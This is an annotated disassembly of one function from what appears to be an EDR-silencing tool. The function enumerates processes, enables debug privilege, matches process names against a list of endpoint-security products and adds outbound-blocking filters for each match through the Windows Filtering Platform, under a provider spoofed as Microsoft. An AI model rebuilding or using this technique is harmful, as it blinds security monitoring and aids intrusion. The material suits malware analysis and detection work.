Function at 0x140001420
Capabilities:
Enumerate processes
Register network filter via wfp api

Disassembly:
sub rsp, 0x508
mov dword [rsp + 0x504], 0
mov qword [rsp + 0x4f8], 0
mov qword [rsp + 0x4f0], 0
mov qword [rsp + 0x4e8], 0
lea rcx, [rsp + 0x3b8]
xor edx, edx
mov r8d, 0x130
call sym.memset
mov dword [rsp + 0x3b4], 0
xor eax, eax
mov r9d, eax
mov edx, 0xffffffff
lea rax, [rsp + 0x4f8]
mov rcx, r9
mov r8, r9
mov qword [rsp + 0x20], rax
call sym.FwpmEngineOpen0
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 0
je 0x1400014c1
mov edx, dword [rsp + 0x504]
lea rcx, [0x14000c4c4]
call dbg.__mingw_printf
jmp 0x140001a1e
call sym.EnableSeDebugPrivilege
mov ecx, 2
xor edx, edx
call sym.CreateToolhelp32Snapshot
mov qword [rsp + 0x4f0], rax
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x4f0], rax
jne 0x140001504
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateToolhelp32Snapshot__of_processes__failed_with_error_code:_0x_x._n
call dbg.__mingw_printf
jmp 0x140001a1e
mov dword [rsp + 0x3b8], 0x130
mov rcx, qword [rsp + 0x4f0]
lea rdx, [rsp + 0x3b8]
call sym.Process32First
cmp eax, 0
jne 0x140001550
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Process32First_failed_with_error_code:_0x_x._n
call dbg.__mingw_printf
mov rcx, qword [rsp + 0x4f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a1e
jmp 0x140001552
lea rcx, [rsp + 0x3b8]
add rcx, 0x2c
call sym.isInEdrProcessList
cmp eax, 0
je 0x1400019cd
mov dword [rsp + 0x3b4], 1
lea rdx, [rsp + 0x3b8]
add rdx, 0x2c
mov r8d, dword [rsp + 0x3c0]
lea rcx, str.Detected_running_EDR_process:__s___d_:_n
call dbg.__mingw_printf
mov r8d, dword [rsp + 0x3c0]
mov ecx, 0x1000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x3a8], rax
cmp qword [rsp + 0x3a8], 0
je 0x1400019a0
lea rcx, [rsp + 0x1a0]
xor edx, edx
mov r8d, 0x208
call sym.memset
mov dword [rsp + 0x19c], 0x104
lea rcx, [rsp + 0x170]
xor edx, edx
mov r8d, 0x28
call sym.memset
lea rcx, [rsp + 0xa8]
xor edx, edx
mov r8d, 0xc8
call sym.memset
lea rcx, [rsp + 0x68]
xor edx, edx
mov r8d, 0x40
call sym.memset
lea rcx, [rsp + 0x58]
xor edx, edx
mov r8d, 0x10
call sym.memset
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x44], 0
mov rcx, qword [rsp + 0x3a8]
lea r8, [rsp + 0x1a0]
xor edx, edx
lea r9, [rsp + 0x19c]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0x50]
call sym.CustomFwpmGetAppIdFromFileName0
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x14000173a
mov eax, dword [rsp + 0x44]
dec eax
mov ecx, eax
mov qword [rsp + 0x30], rcx
sub eax, 4
ja 0x140001725
mov rax, qword [rsp + 0x30]
lea rcx, [0x14000c090]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsp + 0x1a0]
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_file_path_cannot_be_found._n
call dbg.__mingw_printf
jmp 0x140001727
lea rdx, [rsp + 0x1a0]
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Error_occurred_in_allocating_memory_for_appId._n
call dbg.__mingw_printf
jmp 0x140001727
lea rdx, [rsp + 0x1a0]
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Please_check_your_input._n
call dbg.__mingw_printf
jmp 0x140001727
lea rdx, [rsp + 0x1a0]
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_drive_name_cannot_be_found._n
call dbg.__mingw_printf
jmp 0x140001727
lea rdx, [rsp + 0x1a0]
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Failed_to_convert_drive_name_to_DOS_device_name._n
call dbg.__mingw_printf
jmp 0x140001727
jmp 0x140001727
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400019cf
mov rax, qword [str.Custom_Outbound_Filter]
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xc8], 1
mov rax, qword [0x14000d274]
mov qword [rsp + 0xe8], rax
mov rax, qword [0x14000d27c]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0x128], 0x1001
mov qword [rsp + 0x38], 0xffffffffffffffff
mov dword [rsp + 0x108], 4
lea rax, [rsp + 0x38]
mov qword [rsp + 0x110], rax
mov rax, qword [0x14000d264]
mov qword [rsp + 0x170], rax
mov rax, qword [0x14000d26c]
mov qword [rsp + 0x178], rax
mov dword [rsp + 0x180], 0
mov dword [rsp + 0x188], 0xc
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x118], 1
mov rcx, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
lea rdx, [rsp + 0x58]
call sym.GetProviderGUIDByDescription
cmp eax, 0
je 0x140001822
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
jmp 0x1400018ac
mov rax, qword [str.Microsoft_Corporation]
mov qword [rsp + 0x78], rax
mov rax, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x88], 1
mov rcx, qword [rsp + 0x4f8]
lea rdx, [rsp + 0x68]
xor eax, eax
mov r8d, eax
call sym.FwpmProviderAdd0
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 0
je 0x140001885
mov edx, dword [rsp + 0x504]
lea rcx, str.________FwpmProviderAdd0_failed_with_error_code:_0x_x._n
call dbg.__mingw_printf
jmp 0x1400018aa
mov rcx, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
lea rdx, [rsp + 0x58]
call sym.GetProviderGUIDByDescription
cmp eax, 0
je 0x1400018a8
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
jmp 0x1400018aa
jmp 0x1400018ac
mov rcx, qword [rsp + 0x4f8]
lea rdx, [rsp + 0xa8]
xor eax, eax
mov r8d, eax
lea r9, [rsp + 0x48]
call sym.FwpmFilterAdd0
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 0
jne 0x1400018f7
lea rdx, [rsp + 0x1a0]
mov r8, qword [rsp + 0x48]
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv4_layer_._n
call dbg.__mingw_printf
jmp 0x14000190a
mov edx, dword [rsp + 0x504]
lea rcx, str.________Failed_to_add_filter_in_IPv4_layer_with_error_code:_0x_x._n
call dbg.__mingw_printf
mov rax, qword [str._9rJ]
mov qword [rsp + 0xe8], rax
mov rax, qword [0x14000d28c]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0x4f8]
lea rdx, [rsp + 0xa8]
xor eax, eax
mov r8d, eax
lea r9, [rsp + 0x48]
call sym.FwpmFilterAdd0
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 0
jne 0x140001973
lea rdx, [rsp + 0x1a0]
mov r8, qword [rsp + 0x48]
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv6_layer_._n
call dbg.__mingw_printf
jmp 0x140001986
mov edx, dword [rsp + 0x504]
lea rcx, str.________Failed_to_add_filter_in_IPv6_layer_with_error_code:_0x_x._n
call dbg.__mingw_printf
mov rcx, qword [rsp + 0x50]
call sym.FreeAppId
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400019cb
lea rax, [rsp + 0x3b8]
add rax, 0x2c
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rsp + 0x28]
mov r8d, eax
lea rcx, str.________Could_not_open_process___s__with_error_code:_0x_x._n
call dbg.__mingw_printf
jmp 0x1400019cd
jmp 0x1400019cf
mov rcx, qword [rsp + 0x4f0]
lea rdx, [rsp + 0x3b8]
call sym.Process32Next
cmp eax, 0
jne 0x140001552
cmp dword [rsp + 0x3b4], 0
jne 0x140001a03
lea rcx, str.____No_EDR_process_was_detected._Please_double_check_the_edrProcess_list_or_add_the_filter_manually_using_block_command._n
call dbg.__mingw_printf
mov rcx, qword [rsp + 0x4f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x4f8]
call sym.FwpmEngineClose0
nop
add rsp, 0x508
ret